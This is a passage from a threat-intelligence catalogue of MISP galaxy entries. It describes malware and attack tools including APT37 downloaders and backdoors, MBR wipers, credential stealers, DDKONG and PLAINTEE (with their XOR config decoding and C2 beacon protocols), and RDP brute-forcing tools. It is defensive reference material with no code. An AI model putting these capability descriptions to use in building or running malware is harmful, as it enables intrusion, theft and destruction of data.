• similar: misp-galaxy:mitre-malware="DOGCALL - S0213" with estimative-language:likelihood-probability="likely"

Table 11962. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

**GELCAPSULE**

GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems.

The tag is: *misp-galaxy:tool="GELCAPSULE"*

GELCAPSULE is also known as:

• FE_APT_Downloader_Win32_GELCAPSULE_1

Table 11963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

**HAPPYWORK**

HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, username, system manufacturer via registry, IsDebuggerPresent state, and execution path. In November 2016, HAPPYWORK targeted government and financial targets in South Korea.

The tag is: *misp-galaxy:tool="HAPPYWORK"*

HAPPYWORK is also known as:

• FE_APT_Downloader_HAPPYWORK
• FE_APT_Exploit_HWP_Happy
• Downloader.APT.HAPPYWORK

View relationships graph

HAPPYWORK has relationships with:

• similar: misp-galaxy:mitre-malware="HAPPYWORK - S0214" with estimative-language:likelihood-probability="likely"
KARAE

Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second-stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure.

The tag is: misp-galaxy:tool="KARAE"

KARAE is also known as:

- FE_APT_Backdoor_Karae_enc
- FE_APT_Backdoor_Karae
- Backdoor.APT.Karae

View relationships graph

KARAE has relationships with:

- similar: misp-galaxy:mitre-malware="KARAE - S0215" with estimative-language:likelihood-probability="likely"

MILKDROP

MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.

The tag is: misp-galaxy:tool="MILKDROP"

MILKDROP is also known as:

- FE_Trojan_Win32_MILKDROP_1
POORAIM

POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.

The tag is: *misp-galaxy:tool*="POORAIM"

POORAIM is also known as:

- Backdoor.APT.POORAIM

View relationships graph

POORAIM has relationships with:

- similar: *misp-galaxy:mitre-malware*="POORAIM - S0216" with estimative-language:likelihood-probability="likely"

<table>
<thead>
<tr>
<th>Table 11967. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

RICECURRY

RICECURRY is a Javascript based profiler used to fingerprint a victim's web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect.

The tag is: *misp-galaxy:tool*="RICECURRY"

RICECURRY is also known as:

- Exploit.APT.RICECURRY

<table>
<thead>
<tr>
<th>Table 11968. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

RUHAPPY

RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the
string 'Are you Happy?' is displayed. The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three.

The tag is: misp-galaxy:tool="RUHAPPY"

RUHAPPY is also known as:
- FE_APT_Trojan_Win32_RUHAPPY_1

---

**SHUTTERSPEED**

SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets.

The tag is: misp-galaxy:tool="SHUTTERSPEED"

SHUTTERSPEED is also known as:
- FE_APT_Backdoor_SHUTTERSPEED
- APT.Backdoor.SHUTTERSPEED

View relationships graph

SHUTTERSPEED has relationships with:
- similar: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="likely"

---

**SLOWDRIFT**

SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads. Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in
the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.

The tag is: misp-galaxy:tool="SLOWDRIFT"

SLOWDRIFT is also known as:

- FE_APT_Downloader_Win_SLOWDRIFT_1
- FE_APT_Downloader_Win_SLOWDRIFT_2
- APT.Downloader.SLOWDRIFT

View relationships graph

SLOWDRIFT has relationships with:

- similar: misp-galaxy:mitre-malware="SLOWDRIFT - S0218" with estimative-language:likelihood-probability="likely"

Table 11971. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

**SOUNDWAVE**

SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\Temp\HncDownload\YYYYMMDDHHMMSS.log.

The tag is: misp-galaxy:tool="SOUNDWAVE"

SOUNDWAVE is also known as:

- FE_APT_HackTool_Win32_SOUNDWAVE_1

Table 11972. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

**ZUMKONG**

ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru.
ZUMKONG is also known as:

- FE_APT_Trojan_Zumkong
- Trojan.APT.Zumkong

Table 11973. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

WINERACK

WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes.

The tag is: misp-galaxy:tool="WINERACK"

WINERACK is also known as:

- FE_APT_Backdoor_WINERACK
- Backdoor.APT.WINERACK

View relationships graph

WINERACK has relationships with:

- similar: misp-galaxy:mitre-malware="WINERACK - S0219" with estimative-language:likelihood-probability="likely"

Table 11974. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

RoyalCli

The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we'll get to this later.

The tag is: misp-galaxy:tool="RoyalCli"
RoyalCli has relationships with:

- similar: misp-galaxy:malpedia="RoyalCli" with estimative-language:likelihood-probability="likely"

Table 11975. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

RoyalDNS

The tag is: misp-galaxy:tool="RoyalDNS"

Table 11976. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

SHARPKNOT

The tag is: misp-galaxy:tool="SHARPKNOT"

View relationships graph

SHARPKNOT has relationships with:

- similar: misp-galaxy:malpedia="SHARPKNOT" with estimative-language:likelihood-probability="likely"

Table 11977. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf">https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf</a></td>
<td></td>
</tr>
</tbody>
</table>

KillDisk Wiper

KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don’t store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.
The tag is: misp-galaxy:tool="KillDisk Wiper"

**KillDisk Wiper** is also known as:

- KillDisk

**View relationships graph**

KillDisk Wiper has relationships with:

- similar: misp-galaxy:malpedia="KillDisk" with estimative-language:likelihood-probability="likely"

---

UselessDisk

A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim’s computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.

The tag is: misp-galaxy:tool="UselessDisk"

UselessDisk is also known as:

- DiskWriter

---

GoScanSSH

During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to...
Rovnix

We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.

The tag is: misp-galaxy:tool="Rovnix"

Rovnix is also known as:

- ROVNIX

Kwampirs

Once Orangeworm has infiltrated a victim's network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.

The tag is: misp-galaxy:tool="Kwampirs"
Rubella Macro Builder

A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.

The tag is: `misp-galaxy:tool="Rubella Macro Builder"`

kitty Malware

Researchers at Imperva’s Incapsula said a new piece malware called Kitty leaves a note for cat lovers. It attacks the Drupal content management system (CMS) to illegally mine cryptocurrency Monero.

The tag is: `misp-galaxy:tool="kitty Malware"`

Maikspy

We discovered a malware family called Maikspy — a multi-platform spyware that can steal users’ private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.

The tag is: `misp-galaxy:tool="Maikspy"`
Huigezi malware

backdoor trojan popular found prevalently in China

The tag is: `misp-galaxy:tool="Huigezi malware"`

FacexWorm

Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm’s modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.

The tag is: `misp-galaxy:tool="FacexWorm"`

Bankshot

implant used in Operation GhostSecret

The tag is: `misp-galaxy:tool="Bankshot"

View relationships graph

Bankshot has relationships with:

• similar: `misp-galaxy:malpedia="Bankshot"` with `estimative-language:likelihood-probability="likely"`
**Proxysvc**

downloader used in Operation GhostSecret

The tag is: `misp-galaxy:tool="Proxysvc"`

**Escad**

backdoor used in Operation GhostSecret

The tag is: `misp-galaxy:tool="Escad"`

**StalinLocker**

A new in-development screenlocker/wiper called StalinLocker, or StalinScreamer, was discovered by MalwareHunterTeam that gives you 10 minutes to enter a code or it will try to delete the contents of the drives on the computer. While running, it will display screen that shows Stalin while playing the USSR anthem and displaying a countdown until files are deleted.

The tag is: `misp-galaxy:tool="StalinLocker"`

StalinLocker is also known as:

- StalinScreamer

**View relationships graph**

StalinLocker has relationships with:

- similar: `misp-galaxy:malpedia="StalinLocker"` with `estimative-language:likelihood-probability="almost-certain"`
VPNFilter

Advanced, likely state-sponsored or state-affiliated modular malware. The code of this malware overlaps with versions of the BlackEnergy malware. Targeted devices are Linksys, MikroTik, NETGEAR and TP-Link networking equipment in the small and home office (SOHO) space, as well as QNAP network-attached storage (NAS) systems.

The tag is: misp-galaxy:tool="VPNFilter"

VPNFilter has relationships with:

• similar: misp-galaxy:malpedia="VPNFilter" with estimative-language:likelihood-probability="almost-certain"

Iron Backdoor

Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam's Soldier implant leaked source code. Iron Backdoor is also using the DynamicCall module from HackingTeam core library. Backdoor was used to drop cryptocurrency miners.

The tag is: misp-galaxy:tool="Iron Backdoor"

Brambul

Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims' networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims' local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attempts.
attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.

The tag is: \textit{misp-galaxy:tool="Brambul"}

View relationships graph

Brambul has relationships with:

- similar: \textit{misp-galaxy:malpedia="Brambul"} with \textit{estimative-language:likelihood-probability="likely"}

Table 11994. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-149A">https://www.us-cert.gov/ncas/alerts/TA18-149A</a></td>
</tr>
</tbody>
</table>

\textbf{PLEAD}

PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

The tag is: \textit{misp-galaxy:tool="PLEAD"}

View relationships graph

PLEAD has relationships with:

- similar: \textit{misp-galaxy:malpedia="PLEAD (Windows)"} with \textit{estimative-language:likelihood-probability="likely"}
- similar: \textit{misp-galaxy:tool="TSCookie"} with \textit{estimative-language:likelihood-probability="likely"}

Table 11995. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html">https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html</a></td>
</tr>
</tbody>
</table>

\textbf{BabaYaga}

The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules—one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware’s more recent versions. "[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development
challenges, like code deployment, performance and management," Defiant researchers say. "It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpres.

The tag is: *misp-galaxy:tool="BabaYaga"

Table 11996. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**InvisiMole**

Except for the malware's binary file, very little is known of who's behind it, how it spreads, or in what types of campaigns has this been used.

"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.

"All infection vectors are possible, including installation facilitated by physical access to the machine," Hromcová added.

Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.

Furthermore, the malware is some clever piece of coding in itself, as it's comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.

The tag is: *misp-galaxy:tool="InvisiMole"

View relationships graph

InvisiMole has relationships with:

- similar: *misp-galaxy:malpedia="InvisiMole"* with *estimative-language:likelihood-probability="likely"

Table 11997. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Roaming Mantis

Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.

The tag is: misp-galaxy:tool="Roaming Mantis"

View relationships graph

Roaming Mantis has relationships with:

• similar: misp-galaxy:malpedia="Roaming Mantis" with estimative-language:likelihood-probability="likely"

Table 11998. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

PLEAD Downloader

PLEAD is referred to both as a name of malware including TSCookie and its attack campaign. PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

The tag is: misp-galaxy:tool="PLEAD Downloader"

Table 11999. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html">https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html</a></td>
</tr>
</tbody>
</table>

ClipboardWalletHijacker

The malware's purpose is to intercept content recorded in the Windows clipboard, look for strings resembling Bitcoin and Ethereum addresses, and replace them with ones owned by the malware's authors. ClipboardWalletHijacker's end-plan is to hijack BTC and ETH transactions, so victims unwittingly send funds to the malware's authors.

The tag is: misp-galaxy:tool="ClipboardWalletHijacker"

Table 12000. Table References
TYPEFRAME

Trojan malware

The tag is: misp-galaxy:tool="TYPEFRAME"

Table 12001. Table References

Olympic Destroyer

The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.

The tag is: misp-galaxy:tool="Olympic Destroyer"

View relationships graph

Olympic Destroyer has relationships with:

- similar: misp-galaxy:malpedia="Olympic Destroyer" with estimative-language:likelihood-probability="likely"

Table 12002. Table References

Links


https://blog.360totalsecurity.com/en/new-cryptominer-hijacks-your-bitcoin-transaction-over-300000-computers-have-been-attacked/

https://www.us-cert.gov/ncas/analysis-reports/AR18-165A

https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
DDKONG

The malware in question is configured with the following three exported functions: ServiceMain, Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKong proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.

The tag is: misp-galaxy:tool="DDKONG"

View relationships graph

DDKONG has relationships with:

- similar: misp-galaxy:malpedia="DDKONG" with estimative-language:likelihood-probability="likely"

Table 12003. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

PLAINTEE

This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named ‘Add’ to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the ‘Sub’ function
which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either ‘shell’ or ‘file’. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.

The tag is: misp-galaxy:tool="PLAINTEE"

View relationships graph

PLAINTEE has relationships with:

• similar: misp-galaxy:malpedia="PLAINTEE" with estimative-language:likelihood-probability="likely"

Table 12004. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Koadic**

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host

The tag is: misp-galaxy:tool="Koadic"

View relationships graph

Koadic has relationships with:
Bisonal

In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations. In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.

The tag is: misp-galaxy:tool="Bisonal"

View relationships graph

Bisonal has relationships with:

- similar: misp-galaxy:malpedia="Korlia" with estimative-language:likelihood-probability="likely"

Sekur

Sekur has been CARBON SPIDER’s primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.
Agent ORM

Agent ORM began circulating alongside Sekur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).

The tag is: `misp-galaxy:tool="Agent ORM"`  

Agent ORM is also known as:

- Tosliph
- DRIFTPIN

VB Flash

VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.

The tag is: `misp-galaxy:tool="VB Flash"`

VB Flash is also known as:

- HALFBAKED

View relationships graph

VB Flash has relationships with:

- similar: `misp-galaxy:mitre-malware="HALFBAKED - S0151"` with estimative-
JS Flash

JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.

The tag is: misp-galaxy:tool="JS Flash"

JS Flash is also known as:

- JavaScript variant of HALFBAKED

Bateleur

Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER's first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.

The tag is: misp-galaxy:tool="Bateleur"

View relationships graph

Bateleur has relationships with:

- similar: misp-galaxy:malpedia="Bateleur" with estimative-language:likelihood-probability="likely"
**JexBoss**

A tool for testing and exploiting vulnerabilities in JBoss Application Servers.

The tag is: `misp-galaxy:tool="JexBoss"`

**Table 12012. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**reGeorg**

“Provides TCP tunneling over HTTP and bolts a SOCKS4/5 proxy on top of it, so, reGeorg is a fully-functional SOCKS proxy and gives ability to analyze target internal network.”

The tag is: `misp-galaxy:tool="reGeorg"`

**View relationships graph**

reGeorg has relationships with:

- similar: `misp-galaxy:malpedia="reGeorg"` with `estimative-language:likelihood-probability="likely"`

**Table 12013. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Hyena**

An Active Directory and Windows system management software, which can be used for remote administration of servers and workstations.

The tag is: `misp-galaxy:tool="Hyena"`

**Table 12014. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**csvde.exe**

Imports and exports data from Active Directory Lightweight Directory Services (AD LDS) using files that store data in the comma-separated value (CSV) format.

The tag is: `misp-galaxy:tool="csvde.exe"`

*Table 12015. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**NLBrute**

A tool to brute-force Remote Desktop Protocol (RDP) passwords.

The tag is: `misp-galaxy:tool="NLBrute"`

*Table 12016. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**xDedic RDP Patch**

Used to create new RDP user accounts.

